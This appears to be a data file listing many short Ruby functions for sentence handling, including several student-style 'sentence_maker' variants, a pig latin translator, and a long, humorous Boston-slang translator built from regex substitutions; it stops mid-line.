"def get_sentences(html)\n # var html = (typeof el==\"string\") ? el : el.innerHTML;\n\n # exclusion lists\n mrsList = \"Mr,Ms,Mrs,Miss,Msr,Dr,Gov,Pres,Sen,Prof,Gen,Rep,St,Messrs,Col,Sr,Jf,Ph,Sgt,Mgr,Fr,Rev,No,Jr,Snr\"\n topList = \"A,B,C,D,E,F,G,H,I,J,K,L,M,m,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,etc,oz,cf,viz,sc,ca,Ave,St\"\n geoList = \"Calif,Mass,Penn,AK,AL,AR,AS,AZ,CA,CO,CT,DC,DE,FL,FM,GA,GU,HI,IA,ID,IL,IN,KS,KY,LA,MA,MD,ME,MH,MI,MN,MO,MP,MS,MT,NC,ND,NE,NH,NJ,NM,NV,NY,OH,OK,OR,PA,PR,PW,RI,SC,SD,TN,TX,UT,VA,VI,VT,WA,WI,WV,WY,AE,AA,AP,NYC,GB,IRL,IE,UK,GB,FR\"\n numList = \"0,1,2,3,4,5,6,7,8,9\"\n webList = \"aero,asia,biz,cat,com,coop,edu,gov,info,int,jobs,mil,mobi,museum,name,net,org,pro,tel,travel,xxx\"\n extList = \"www\"\n d = \"__DOT__\"\n\n # cleanup \".\" that should not be used for sentence splitting\n list = (topList+\",\"+geoList+\",\"+numList+\",\"+extList)\n # html = html.replace(new RegExp((\" \"+list[i]+\"\\\\.\"), \"g\"), (\" \"+list[i]+d))\n regexp = Regexp.new \" (#{list.gsub(/,/,\"|\")})\\\\.\"\n html = html.gsub(regexp){|match| \" #{match}#{d}\"}\n # puts regexp.inspect\n\n list = (mrsList+\",\"+numList)\n # html = html.replace(new RegExp((list[i]+\"\\\\.\"), \"g\"), (list[i]+d))\n regexp = Regexp.new \"(#{list.gsub(/,/,\"|\")})\\\\.\"\n html = html.gsub(regexp){|match| \"#{match}#{d}\"}\n\n list = webList\n # html = html.replace(new RegExp((\"\\\\.\"+list[i]), \"g\"), (d+list[i]))\n regexp = Regexp.new \"\\\\.(#{list.gsub(/,/,\"|\")})\"\n html = html.gsub(regexp){|match| \"#{d}#{match}\"}\n\n # split sentences\n lines = clean_array(html.split('. '))\n return lines\n end",
"def sentence_maker (array)\n\tindex = 0\n\twhile index < array.length\n\t\tif index == 0\n\t\t\tsentence = array[index].to_s.capitalize\n\t\telse \n\t\t\tsentence = sentence + \" \" + array[index].to_s\n\t\tend\n\t\tindex += 1\n\tend\n\tsentence = sentence + \".\"\n\treturn sentence \nend",
"def sentence_maker arr\n catenated_str = ''\n space = ' '\n i = 0\n\n arr.each do |el|\n catenated_str += i == 0 ? el.capitalize.to_s : i == (arr.length - 1) ? space + el.to_s + '.' : space + el.to_s\n i+=1\n end\n catenated_str\nend",
"def sentence_maker(word_array)\n sentence = word_array.inject(\" \"){|words,element| words+=element.to_s+\" \"}\n sentence.strip!.capitalize!\n sentence << \".\"\nend",
"def sentence_maker(string)\n\tstring[0] = string[0].capitalize\n\tphrase = ''\n\tstring.each do |word|\n\t\tphrase = phrase + word.to_s + ' '\n\tend\n\tphrase = phrase.chop\n\tphrase = phrase + '.'\n\treturn phrase\nend",
"def catch_phrase\n [\n [\"ninja\",\"master\",\"student\"].rand, \n [\"\", \"\", \"\", \"\", \"\", \"\", \"weapons\", \"s' 3rd annual\",\"s' 5th annual\",\"s' 10th annual\", \"s' secret\"].rand,\n [\"gathering\",\"celebration\",\"meeting\",\"tournament\",\"competition\",\"party\",\"training camp\",\"sparring event\"].rand,\n [\"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"with Leonardo\", \"with Raphael\", \"with Michaelangelo\", \"with Donatello\"].rand\n ].join(' ').gsub(/ s\\'/,'s\\'').gsub(/\\s\\s/,' ').strip\n end",
"def line_generate(length, word_collection, trans_table, prior_prob, bg_trans_table)\n\t\tresult = \"\"\n\t\tresult_arr = Array.new\n\t\tprev = \"\"\n\t\t\tbanned_words = ['of', 'and', 'or', 'for', 'the', 'a', 'to'];\n\n\t\tfor i in 1..length\n\t\t\tif i == 1 then\n\t\t\t\tword = select_word(\"\", prior_prob, bg_trans_table)\n\t\t\telse\n\t\t\t\tif !trans_table.key?(prev) then\n\t\t\t\t\tword = word_collection.to_a.sample\n\t\t\t\telse\n\t\t\t\t\tword = select_word(prev, trans_table[prev], bg_trans_table)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif word.nil? then\n\t\t\t\tbreak\n\t\t\tend\n\t\t\tif word == 'i' then word = 'I' end\n\t\t\tif prev.include?(\".\") then\n\t\t\t\tword = word.capitalize\n\t\t\tend\n\t\t\t#puts \"----------\"\n\t\t\t#puts i\n\t\t\t#puts \"-----------\"\n\t\t\t#puts word\n\t\t\tresult = result + \" \" + word.to_s\n\t\t\tresult_arr.push(word)\n\t\t\tprev = word\n\t\t\tnext\n\t\tend\n\n\t\tif banned_words.include?(prev.downcase) then\n\t\t\tresult.slice!(prev)\n\t\t\tif result_arr.length == 1 then\n\t\t\t\treturn line_generate(length, word_collection, trans_table, prior_prob, bg_trans_table)\n\t\t\tend\n\t\tend\n\n\t\treturn result\n\tend",
"def abbreviate_sentence(sent)\r\n words = sent.split(\" \")\r\n new_words = []\r\n\r\n words.each do |word|\r\n if word.length > 4\r\n new_word = abbreviate_word(word)\r\n new_words << new_word\r\n else\r\n new_words << word\r\n end\r\n end\r\n\r\n return new_words.join(\" \")\r\nend",
"def sentence_maker(array)\n\tcomplete = \"\"\n\tarray.each do |i|\n\t\tcomplete = complete + i.to_s + \" \"\n\tend\n\tcomplete.insert(-2, \".\")\n\treturn complete.strip.capitalize\nend",
"def sentences(total)\n (1..interpret_value(total)).map do\n words(5..20).capitalize\n end.join('. ')\n end",
"def sentence_maker(array)\n combination = \"\"\n array.each {|x| combination = combination + x.to_s + \" \"}\n return combination.capitalize.chop + \".\"\nend",
"def valid_sentence(str, dictionary)\n $processing = {}\n final_result = []\n sentences(str, dictionary).each do |a|\n set = a.split(\" \")\n if all_words_valid?(set) && verb_correct?(set) && noun_articles_correct?(set)\n final_result << a\n end\n end\n final_result.sort! #This can be returned without any sort but it added because it looks cool.\n end",
"def sentence_maker(array)\n\tarray[0].capitalize!\n\tfinalString = array.join(' ')\n\tfinalString = finalString + '.'\nend",
"def sentence_maker(words)\n\twords.join(\" \").capitalize << \".\"\nend",
"def sentence_maker(a_single_argument)\n output = a_single_argument.join(\" \")\n output += \".\"\n return output.capitalize!\nend",
"def sentence_maker(array_of_strings)\n sentence = array_of_strings[0].capitalize\n for i in array_of_strings[1..-1]\n sentence += \" \" + i\n end \n sentence + \".\"\nend",
"def sentence_maker(array)\n\tx = 0\n\tsum = \"\"\n\n\t\twhile x < (array.length - 1)\n\t\t\tsum += array[x].concat \" \" \n\t\t\tx += 1\n\t\tend \n\t\t\tsum += array[x].concat \".\" \n\treturn sum\n\nend",
"def sentence_maker(array)\n\ti = 0\n\twhile i < array.length do\n\t\tif i == 0\n\t\t\tsentence = (array[i].capitalize.to_s + \" \")\n\t\telsif i == array.length-1\n\t\t\tsentence = sentence + (array[i].to_s + \".\") \n\t\telse\n\t\t\tsentence = sentence + (array[i].to_s + \" \")\n\t\tend\n\t\ti += 1\n\tend\n\treturn sentence\nend",
"def to_sentences(paragraph)\n\n#---------------- Step 1: Break up paragraph into pieces based on punctuation. \n\n\told_sentences = paragraph.split(/(?<=\\.\"|\\.\\)|\\.)(?<!\\.\\s\\.|\\.\\s\\.\"|\\.\\s\\.\\))\\s(?!\\.)|(?<=\\.\\s\\.\\s\\.\\s\\.\"|\\.\\s\\.\\s\\.\\s\\.\\)|\\.\\s\\.\\s\\.\\s\\.)\\s/)\n\t\t\t\t\t\t\t\t\t\t# splits on space in two cases: 1. if preceded by exactly one dot, possibly followed by ) or \"\n\t\t\t\t\t\t\t\t\t\t# 2. if preceded by four dots, possibly followed by ) or \" \n\t\t\t\t\t\t\t\t\t\t# (exactly one dot before SPLIT no dot after) OR (four dots before SPLIT)\n\n\t\n#---------------- Step 2: Re-join some pieces so that embedded quotes and parenthetical remarks aren't broken.\n\n \tnew_sentences = []\n\told_count = 0\t\t\t\t\t\t# position in old array built in Step 1\n\tnew_count = 0\t\t\t\t\t\t# position in new array built now in Step 2\n\t\t\n\twhile old_count < old_sentences.length\n\t\t\t\t\t\t\t\t\t\t# each step in outer while loop adds a new element to new_sentences\n\t\tskip = 0\t\t\t\t\t\t# skip keeps track of how many elements of old_sentences are used\n\t\tnew_sentences[new_count] = old_sentences[old_count]\n\n\t\twhile old_count + skip < old_sentences.length and (new_sentences[new_count].count('\"')%2 == 1 or new_sentences[new_count].count('(') != new_sentences[new_count].count(')'))\n\t\t\t\t\t\t\t\t\t\t# each step in inner while loop checks last element of new_sentences for mismatched quotes or parentheses, ...\t\t\t\t\t\t\t\t\t\t\n\n\t\t\tif new_sentences[new_count].count(')') > new_sentences[new_count].count('(')\n\t\t\t\told_sentences[old_count] = old_sentences[old_count].sub!(/\\)/, \"\")\n\t\t\t\tbreak\n\t\t\tend\t\t\t\t\t\t\t# ... if there's a mismatched right parenthesis, deletes it, ...\n\n\t\t\tif old_count + skip + 1 == old_sentences.length and (new_sentences[new_count].count('(') > new_sentences[new_count].count(')'))\n\t\t\t\told_sentences[old_count] = old_sentences[old_count].sub!(/\\(/, \"\")\n\t\t\t\tskip = -1\n\t\t\t\tnew_count -= 1\n\t\t\t\tbreak\t\t\t\t\t# ... if there's a mismatched left parenthesis or quote,\n\t\t\tend\t\t\t\t\t\t\t# joins next element of old_sentences to current new_sentence, unless\n\t\t\t\t\t\t\t\t\t\t# reach end of paragraph with mismatch; then deletes mismatched ( or ',\n\t\t\t\t\t\t\t\t\t\t# not joining subsequent elements of old_sentences to current new_sentence.\n\t\t\tskip += 1\n\t\t\tnew_sentences[new_count] = new_sentences[new_count] + \" \" + old_sentences[old_count + skip]\t\t\t\n\t\tend\n\n\t\tnew_count += 1\t\t\n\t\told_count += skip + 1\n\tend\n\n\n#---------------- Step 3: Make sure each piece starts and ends with a single quote.\n\n\tsentences_with_quotes = []\n\tnew_sentences.each do |x|\n\t\tx = x.chomp\n\t\tx = \"'\"+x if x[0] != \"'\"\n\t\tx = x+\"'\" if x[x.length-1] != \"'\"\n\t\tsentences_with_quotes << x\n\tend\n\n\treturn sentences_with_quotes\n\nend",
"def abbreviate_sentence(sent)\n words = sent.split(\" \")\n new_words = []\n \n words.each do |word|\n if word.length > 4\n new_word = abbreviate_word(word)\n new_words << new_word\n else\n new_words << word\n end\n end\n \n return new_words.join(\" \")\n end",
"def sentence_maker(array)\n\tsentence = array.join(\" \")\n\tsentence.capitalize!\n\tsentence += \".\"\n\treturn sentence\nend",
"def words_typing(sentence, rows, cols)\n i = 0\n remaining_cols = cols\n res = \"\"\n until rows == 0\n word_length = sentence[i % sentence.length].length\n if word_length <= remaining_cols\n remaining_cols == word_length ? res += sentence[i % sentence.length] + \"|\" : res += sentence[i % sentence.length] + \"-\"\n i += 1 #next word\n remaining_cols -= (word_length + 1)\n else\n rows -= 1\n remaining_cols = cols\n end\n p [\"res\", res]\n end\n\n i / sentence.length\nend",
"def translate(sentence)\r\n words = sentence.split(\" \")\r\n words.collect! do |a|\r\n if(a =~ /\\w\\.\\.\\.\\w/) #matching e.g \"yes...no\"\r\n morewords = a.split(\"...\")\r\n ##\r\n #alternative: allows for recursion, but loses accuracy since \"a...b\" becomes \"a ... b\"\r\n #probably some non-messy way to make it work, and be less redundant too\r\n #\r\n #morewords.insert(1, \"...\")\r\n #translate(morewords.join(\" \"))\r\n pig(morewords[0], 1) + \"...\" + pig(morewords[1], 1)\r\n elsif(a =~ /\\w\\W\\w/ and !(a =~ /'/)) #matching e.g. \"steins;gate\", \"ninety-nine\", but not \"it's\"\r\n nonletter = a.scan(/\\W/)[0]\r\n morewords = a.split(/\\W/)\r\n #morewords.insert(1, nonletter)\r\n #translate(morewords.join(\" \"))\r\n pig(morewords[0], 1) + nonletter + pig(morewords[1], 1)\r\n elsif(a[0..1].match(/qu/)) #quiet = ietquay\r\n pig(a, 2)\r\n elsif(a[0..2].match(/sch|.qu/)) #school = oolschay, square = aresquay\r\n pig(a, 3)\r\n else\r\n x = a.index(/[AaEeIiOoUu]/) #starts with other consonant(s) or a vowel; find the first vowel\r\n if(!(x.nil?)) #found at least one vowel\r\n pig(a, x) \r\n else #x is nil, no vowels found\r\n a.index(/[[:alpha:]]/) ? pig(a, 1) : a #if it contains letters, attempt to process; otherwise, do nothing\r\n end\r\n end\r\n end\r\n return words.join(\" \")\r\nend",
"def sentence_maker(array)\n\tsentence = array.join(\" \")\n\tsentence = sentence.to_s.capitalize + \".\"\nend",
"def sentence_maker (arr)\n sentence = \"\"\n arr[0] = arr[0].capitalize\n for i in 0...arr.length-1\n sentence = sentence + arr[i].to_s + \" \"\n end\n return sentence + arr[arr.length-1] + \".\"\nend",
"def translator\n # Greet your user in the language of their people.\n puts [\"SUP KID? \",\n \t \"What didja say? \",\n \t \"How ya doan? \",\n \t \"How ahrya?\",\n \t \"How 'bout them Sox? \",\n \t \"How 'bout them Pats? \"].sample\n\n # Get their response and lop off the carriage return, Massachusetts Left style.\n phrase = gets.chomp.to_s\n\n # Now we're going to award the user points based on density of Boston-specific\n # diction, aka their Beantown Points(tm).\n i = 0\n beantown_points = 0\n wicked_boston_words = [\"bubblah\",\n \"wicked\",\n \"reveah\",\n \"the dot\",\n \"medfid\",\n \"broons\",\n \"barrel\",\n \"digga\",\n \"southie\",\n \"eastie\",\n \"rotary\",\n \"pissah\",\n \"jp\",\n \"fried\",\n \"directional\",\n \"beantown\",\n \"red sox\",\n \"common\",\n \"dunkin donuts\",\n \"patriots\",\n \"celtics\",\n \"green monster\",\n \"dirty watah\",\n \"packie\"\n ]\n\n searchable_phrase = phrase.downcase\n\n wicked_boston_words.each do |i|\n \tif searchable_phrase.include?(i)\n \t\tbeantown_points += 1\n \tend\n end\n\n ########################################################################################################\n # A-Z dictionary of specific gsubs for targeted replacement. This is about to get wicked awesome, bro! #\n ########################################################################################################\n\n # A\n phrase.gsub!(/\\bacross the rivah?\\b/i, 'on the other side of the Charles River') # across the rivah (other side of the charles)\n phrase.gsub!(/\\b(a)dvahtisin'?g?\\b/i, '\\1dvertising') # advahtisin'(g)\n phrase.gsub!(/\\b(a)dvisah?\\b/i, '\\1dviser') # advisah\n phrase.gsub!(/\\b(a)doah\\b/i, '\\1dore') # adoah\n phrase.gsub!(/(a)ftah/i, '\\1fter') # aftah (aftahwahds, raftah, & other containing words)\n phrase.gsub!(/\\bah(h)?(?=\\s[a-z]+in('|g))?\\b/i, 'are') # ah (usually \"are\" if a word ending in \"ing is after\")\n phrase.gsub!(/\\b(the)? Ahbs\\b/i, '\\1 Arboretum') # the ahbs is a fun place to hang out\n phrase.gsub!(/\\b(a)hm\\b/i, '\\1rm') # curt schilling's gotta good ahm\n phrase.gsub!(/(f|w|h|al|ch|fore)ahm(s?)/i, '\\1arm\\2') # ahm at the end of words\n phrase.gsub!(/\\bahr\\b/i, 'are') # ahr\n phrase.gsub!(/\\bahrya\\b/i, 'are you') # how ahrya?!\n phrase.gsub!(/\\b(a)hnt\\b/i, '\\1unt') # ya ahnt is comin' to Christmas\n phrase.gsub!(/\\ball set\\b/i, 'all done') # all set with my dinnah, thank you\n phrase.gsub!(/\\bAllston Christmas\\b/i, 'The last weekend in August when all the students move out and leave their furniture behind in Allston') # Gonna need a biggah cah\n phrase.gsub!(/\\b(a)mbassad(oah|ah)(s)/i, '\\1ambassad\\2\\3') # ambassadoah/dah\n\n # B\n phrase.gsub!(/\\b(b)ah\\b/i, '\\1ar') # bah (let's get a beeah at the bah)\n phrase.gsub!(/\\b(cross|crow|de|dis|draw|handle|iso|sand|side)bah(s)\\b/i, '\\1bar\\2') # \"bah\" (words ending in bah)\n phrase.gsub!(/\\bbahnie\\b/i, 'smart geek') # bahnie\n phrase.gsub!(/\\bbang a left\\b/i, 'take a left') # bang a left...but do it before the oncoming turns green!\n phrase.gsub!(/\\b(b)ankin/i, 'hillside') # watch the game from the bankin\n phrase.gsub!(/\\bbarrel/i, 'trash can') # throw that yankees jersey in the barrel\n phrase.gsub!(/\\bbazo\\b/i, 'drunk') # bazo on the weekendddd\n phrase.gsub!(/\\bbeantown\\b/i, 'Boston') # beantown\n phrase.gsub!(/\\b(b)eeah(s)?\\b/i, '\\1eer') # lemme buy ya a beeah (sam adams please)\n phrase.gsub!(/\\b(b)ettah\\b/i, '\\1etter') # bettah (than you)\n phrase.gsub!(/\\bbig(-|\\s)ball bowling?/i, '10-pin bowling') # big ball bowlin'\n phrase.gsub!(/\\bBig Dig\\b/i, 'the most expensive highway project in U.S. History') # the big dig, depress that central ahtery\n phrase.gsub!(/\\bb(ill-)?ricka/i, 'Billerica') # Billerica\n phrase.gsub!(/\\bboahded\\b/i, 'dibs') # boahded\n phrase.gsub!(/\\bbobos\\b/i, 'boat shoes') # bobos\n phrase.gsub!(/\\bBostonian\\b/i, 'resident of Boston') # Bostonian\n phrase.gsub!(/\\bbook(ed|in)? outta theah\\b/i, 'took off') # bookin' it\n phrase.gsub!(/\\b(b)r(a|u)h\\b/i, '\\1ro') # brah/bruh\n phrase.gsub!(/\\bbrahmin\\b/i, 'WASP-y type') # Brahmin\n phrase.gsub!(/\\bbreakdown lane\\b/i, 'highway shoulder') # breakdown lane at rush hoah, jeez\n phrase.gsub!(/\\bBroons\\b/i, 'Bruins') # Da Broons!\n phrase.gsub!(/\\bbubblah\\b/i, 'water fountain') # bubblah\n\n # C\n phrase.gsub!(/\\b(c)ahds\\b/i, '\\1ards') # cahds\n phrase.gsub!(/\\b(c|ced|chedd|sc|sidec|tramc|supahc|vic)ah(s)?\\b/i, '\\1ar\\2') # cah(s) and 6 containing words that are most common.\n phrase.gsub!(/\\b(c)alendah(s)?\\b/i, '\\1alendar\\2') # calendah (the sawx got theyah openin' day on theah!)\n phrase.gsub!(/\\bcalm ya liva(a|h)?/i, 'relax') # calm ya livah, I didn't eat ya dinnah\n phrase.gsub!(/\\b(c)an't get\\b/i, '\\1an get') # can't get (no satifaction...but plenty of double negatives up for grabs, so)\n phrase.gsub!(/\\bThe Cape\\b/i, 'Cape Code, Massachusetts') # goin' to the Cape this summah\n phrase.gsub!(/\\bcarriage\\b/i, 'grocery cart') # carriage (for ya lobstahs and beeahs)\n phrase.gsub!(/\\b(c)awna\\b/i, '\\1orner') # coolidge cawna\n phrase.gsub!(/\\b(c)ella(h)\\b?/i, 'basement') # go down cella\n phrase.gsub!(/\\b(c)howdah\\b/i, '\\1howder') # chowdah (clam or lobstah, take ya pick at sullivan's!)\n phrase.gsub!(/\\b(coffee|small|medium|lahge) regulah\\b/i, 'coffee with cream and two sugars') # coffee, regulah\n phrase.gsub!(/\\bCochihchewit\\b/i, 'Cochituate') # Co-CHIH-chew-it\n phrase.gsub!(/\\b(c)onsidah\\b/i, '\\1onsider') # considah\n phrase.gsub!(/\\b(c)orridoah(s)\\b/i, '\\1orridor\\2') # corridor\n phrase.gsub!(/\\b(c)umbie(s|'s)/i, 'Cumberland Farms Mini-Mart') # cumbie's\n\n # D\n phrase.gsub!(/\\b(Mon|Tues|Wed|Thurs|Fri|Sun)diz/i, '\\1days') # plural days of the week, less Saturday which can have a couple pronunciations\n phrase.gsub!(/\\b(d)ecoah\\b/i, '\\1ecor') # decoah (in ya apahtment!) -- most frequently used word ending in \"cor\"\n phrase.gsub!(/\\bdecked\\b/i, 'punched') # he got decked at the sox game\n phrase.gsub!(/\\bdecked\\sout\\b/i, 'dressed up') # he's all decked out for his date!\n phrase.gsub!(/\\b(d)idja\\b/i, '\\1id you') # didja\n phrase.gsub!(/\\bdirty watah\\b/i, 'the Charles River') # love that dirty watah\n phrase.gsub!(/\\bdiggah?\\b/i, 'fall') # fell on some ice and took a diggah\n phrase.gsub!(/\\b(d|fl|ind|p|outd)oah\\b/i, '\\1oor') # oah words ending in oor\n phrase.gsub!(/\\b(direc|doc)tah\\b/i, '\\1tor') # doctah/directah\n phrase.gsub!(/\\bdirectional\\b/i, 'turn signal') # put on ya directional before you take turn\n phrase.gsub!(/\\bDot Ave\\b/i, 'Dorchester Avenue') # Dot Ave\n phrase.gsub!(/\\bDot Rat(s)?/i, 'resident\\1 of Dorchester') # Dot Rats\n phrase.gsub!(/\\bthe Dot\\b/i, 'Dorchester') # the dot\n phrase.gsub!(/\\bdunki(n'?s'?|n|es)(\\sdonuts)?\\b/i, 'Dunkin\\' Donuts') # dunkies, dunkins, dunkin, dunkin's, & dunkin's!\n phrase.gsub!(/\\bdrawring\\b/i, 'drawing') # drawring\n\n # E\n phrase.gsub!(/\\bEastie\\b/i, 'East Boston') # Eastie\n phrase.gsub!(/\\belastic(s)?\\b/i, 'rubber band\\1') # elastics\n phrase.gsub!(/(e)ntah\\b/i, '\\1nter') # entah (come in heah!)\n phrase.gsub!(/\\b(e)ntiah\\b/i, 'entire') # entiah (I've lived in Boston my entiah life)\n phrase.gsub!(/(n)?(e)vah\\b/i, '\\1\\2ver') # evah (or forevahevah! or nevah. that too.)\n\n # F\n phrase.gsub!(/\\bfahr\\b/i, 'for') # fahr (ready fahr spring after this wintah!)\n phrase.gsub!(/\\bfactah\\b/i, 'factor') # factah\n phrase.gsub!(/\\b(af|insof|ovahf|f)ah\\b/i, '\\1ar') # fah (neah, fah, wheahevah you ahhhhh)\n phrase.gsub!(/(f)ahkin'?/i, '\\1*!king') # I mean, it's not very polite but you have to admit it is a distinctive part of a true Boston accent!\n phrase.gsub!(/(f)ahk?/i, '\\1*!k') # I mean, it's not very polite but you have to admit it is a distinctive part of a true Boston accent!\n phrase.gsub!(/\\b(airf|cahf|thoughroughf|welf|wahf|f)ayah\\b/i, '\\1are') # fayah (wahfayah, aihfayah)\n phrase.gsub!(/\\bfawr\\b/i, 'for') # fawr\n phrase.gsub!(/(af|bef|f)oah\\b/i, '\\1ore') # foah (fore & variants)\n phrase.gsub!(/\\bfoddy\\b/i, 'fourty') # foddy\n phrase.gsub!(/\\bfrappe\\b/i, 'a milkshake/malted (ice cream, milk, & syrup blended)') # frappe\n phrase.gsub!(/\\b(frickin|friggin)'?(?!\\z|\\s)/i, 'freaking') # the G-rated version of Boston's favorite adjective\n phrase.gsub!(/\\bfried\\b/i, 'weird') # fried\n phrase.gsub!(/\\bFudgicle\\b/i, 'Fudgsicle') # a fudgsicle that lost the \"s\"\n\n # G\n phrase.gsub!(/\\b(g)ahbidge\\b/i, '\\1arbage') # Wednesdiz is gahbidge day\n phrase.gsub!(/\\b(gawrls|gahls|gawhls)/i, 'girls') # gawrls just wanna...learn to code and change the girl to dave ratio, actually.\n phrase.gsub!(/(g)awd\\b/i, '\\1od') # oh my gawd\n phrase.gsub!(/\\b(g)ovahment\\b/i, '\\1overnment') # Govahment Centah! It's wheah Boston Cawllin' always is!\n phrase.gsub!(/\\b(ci|beg|vul|sug|vine)gah(s)?\\b/i, '\\1gar\\2') # gah --> sugah, cigah, etc.\n phrase.gsub!(/\\b(g)oah\\b/i, '\\1ore') # goah (Melissa-Leigh Goah, like Al Goah, he invented the intahnet)\n phrase.gsub!(/\\bg(o|a)tta\\b/i, 'have to') # gotta\n phrase.gsub!(/\\b(g)rammah\\b/i, '\\1rammar') # grammah\n phrase.gsub!(/\\bgrindah?(s)?\\b/i, 'sub\\1') # grindahs\n phrase.gsub!(/\\b(g)uitah\\b/i, '\\1uitar') # guitah (what's that game the kids ah playin? guitah hero?!)\n\n # H\n phrase.gsub!(/\\b(Hahvahd|Havahd|Havid|Hahvid)/i, 'Harvard') # Let's go to Hahvid and sit outside the Widenah Library\n phrase.gsub!(/\\b(hang|hook) a right\\b/i, 'take a right') # hang/hook a right\n phrase.gsub!(/\\bhamburg\\b/i, 'ground beef') # my grammy's go to dinnah was hamburg thingies..aka ground beef patties with mustard cooked on one side of a hamburger bun (this is an actual true story from the writer of this program, haha)\n phrase.gsub!(/\\b(heahd|heid)\\b/i, 'heard') # ya nevah heahd about that?\n phrase.gsub!(/heah/i, 'here') # heah, wheah, theah (wait, who's on first?!) -- this matches on at least 300 english words containing \"here\"\n #hahbah (no taxation without representation, ya dig?) covered under \"lahbah\"\n phrase.gsub!(/\\bHub\\b/i, 'Boston') # the Hub\n\n # I\n phrase.gsub!(/\\b(i)dear\\b/i, '\\1dea') # idear (so THAT'S where all those \"r\"'s went!')\n phrase.gsub!(/\\b(i)ntahfeah\\b/i, '\\1nterfere') # doan wanna intahfeah, ya know?\n\n # J\n phrase.gsub!(/\\b(a)?(j)ah\\b/i, '\\1\\2ar') # jah and ajah, like jams and doahs, but not doahjahms. well, maybe.\n phrase.gsub!(/\\bjimmies\\b/i, 'chocolate sprinkles') # jimmies, just be careful asking for these in NJ\n phrase.gsub!(/\\bJP\\b/, 'Jamaica Plain') # JP, fastest gentrifying neighbahood\n\n # K\n phrase.gsub!(/\\b(k)eggah?(s)\\b/i, '\\1eg party\\2') # kegga, aka something you throw at ya new apahtment in college\n phrase.gsub!(/\\b(k)inda\\b/i, '\\1ind of') #\n\n # L\n phrase.gsub!(/(chancel|council|sail|counsel|tai|pah|bache|co|sett)lah\\b/i, '\\1lor') # lah (words ending in lah are usually \"ler\", so this looks for the most common ones that should actually be \"lor\" first)\n phrase.gsub!(/([a-z])+ahbah\\b/i, '\\1abor') # lahbah (workin' hahd!) also covers hahbah (no taxation without representation, ya dig?!) and other bor words -- targeted rule so general rule doesn't make this \"laber\"\n phrase.gsub!(/\\b(l)abradoah(s)\\b/i, '\\1abrador\\2') # labradoah retrievah\n phrase.gsub!(/\\bLe(ay|i)?stuh\\b/i, 'Leicester') # Leicester\n phrase.gsub!(/\\bLem(o|i)nstah\\b/i, 'Leominster') # Leominster\n phrase.gsub!(/\\bLight Dawns ovah? Mahblehead\\b/i, 'Oh, DUH.') # light dawns ovah mahblehead\n phrase.gsub!(/\\b(l)iquah\\b/i, '\\1iquor') # liquah stoah...aka a packie, tbh\n phrase.gsub!(/\\blotta\\b/i, 'lot of') # lotta\n\n # M\n phrase.gsub!(/(ah|gla|hu|ru|tre|tu)mah\\b/i, 'mor') # words ending in mah, like rumah, humah (targeted gsub bc most are \"mer\")\n phrase.gsub!(/\\b(m)ajah\\b/i, '\\1ajor') # majah league baseball\n phrase.gsub!(/\\bmasshole\\b/i, 'a proud jerk from Massachusetts') # massholes :)\n phrase.gsub!(/\\b(m)ayah\\b/i, '\\1ayor') # Mayah Menino was the best mayah evah. (RIP)\n phrase.gsub!(/\\b(Mehfuh|Meffid|Medfid)\\b/i, 'Medford') # Meffid. Next to Somerville, home to Tufts\n phrase.gsub(/ministah\\b/i, 'minister') # ministah (the religious kind, but also administer, etc)\n\n # N\n phrase.gsub!(/\\b(nawht|naht)\\b/, 'not') # naht/nawt\n phrase.gsub!(/\\bnooyawka\\b/i, 'New Yorker') # Nooyawka, just the kind of person you don't want to meet at Fenway\n phrase.gsub!(/(semi|so|lu)nah\\b/i, '\\1nar') # \"nah\" ending words that aren't \"ner\"...seminah, solah\n phrase.gsub!(/(na-ah|nuh-uh|nuh-ah)/i, 'no way') # nah-ah\n phrase.gsub!(/\\bneighbahood\\b/i, 'neighborhood') # neighbahood\n\n # O\n phrase.gsub!(/\\b(o)ah\\b/, '\\1ur') # oah (this is ah (our) city!)\n phrase.gsub!(/(o)ffah/i, '\\1ffer') # offah\n phrase.gsub!(/onna(-|\\s)?conna/i, 'on account of') # onna-conna I gotta help my ma\n phrase.gsub!(/\\bopen ai(r|h)\\b/i, 'drive in movie') # open air (drive in movie theatre)\n phrase.gsub!(/(o)thah/i, '\\1ther') # othah (and also containing words like anothah or brothah)\n phrase.gsub!(/(o)vah/i, '\\1ver') # ovah (and also containing words like covah (at the bah!) rovah or ovahpass)\n phrase.gsub!(/(o)wah\\b/i, '\\1wer') # owah (all words ending in \"ower\", powah, flowah, etc)\n\n # P\n phrase.gsub!(/\\bpackie\\b/i, 'liquor store') # packie\n phrase.gsub!(/\\bpeab('dee|dee|ody)\\b/i, 'Peabody') # Peabody\n phrase.gsub!(/\\b(p)lenny\\b/i, '\\1lenty') # plenny ah beahs in the fridge\n phrase.gsub!(/\\bpissah?\\b/i, 'cool') # wicked pissah\n phrase.gsub!(/\\b(Ptown|P-Town|P Town)/i, 'Provincetown') # at the endah tha cape\n\n # Q\n phrase.gsub!(/\\bquality\\b/i, 'worthless') # sarcasm at its finest\n phrase.gsub!(/\\bQuinzee\\b/i, 'Quincy') # Quincy\n\n # R\n phrase.gsub!(/\\b(r)adah?\\b/i, '\\1adar') # radah (cops runnin the radah around to cawnah)\n phrase.gsub!(/\\brahya\\b/i, 'rare') # rahya (wicked rahya steak)\n phrase.gsub!(/\\b(r)apshah?\\b/i, '\\1apture') # rapsha (Jesus and/or Red Sox championship parades, either way)\n phrase.gsub!(/\\b(r)awregg\\b/i, '\\1aw egg') # rawregg can give ya salmonella\n phrase.gsub!(/\\b(r)eahview\\b/i, '\\1earview') # reahview (mirror)\n phrase.gsub!(/\\b(r)emembah\\b/i, '\\1emember') # remembah (when govahment centah was open?)\n phrase.gsub!(/\\breveah\\b/i, 'Revere') # Reveah (as in, Paul. or the beach. or from, kid!)\n phrase.gsub!(/\\brotary\\b/i, 'traffic circle') # second left on tha rotary\n\n # S\n phrase.gsub!(/\\bsangwich\\b/i, 'sandwich') # sangwich\n phrase.gsub!(/\\bsa(dda|ti|tih|ta|tah|tuh)d(ay|ee)\\b/i, 'Saturday') # Satahday\n phrase.gsub!(/\\bsat(a|i)hdiz\\b/i, 'Saturdays') # Satahdays\n phrase.gsub!(/\\bskeeve(s|d)/i, 'grossed out') # skeeved out by hair in food, lemme tell ya\n phrase.gsub!(/soah\\b/i, 'sore') # wicked soah from gettin swole at the gym, bro\n phrase.gsub!(/\\b(s)o 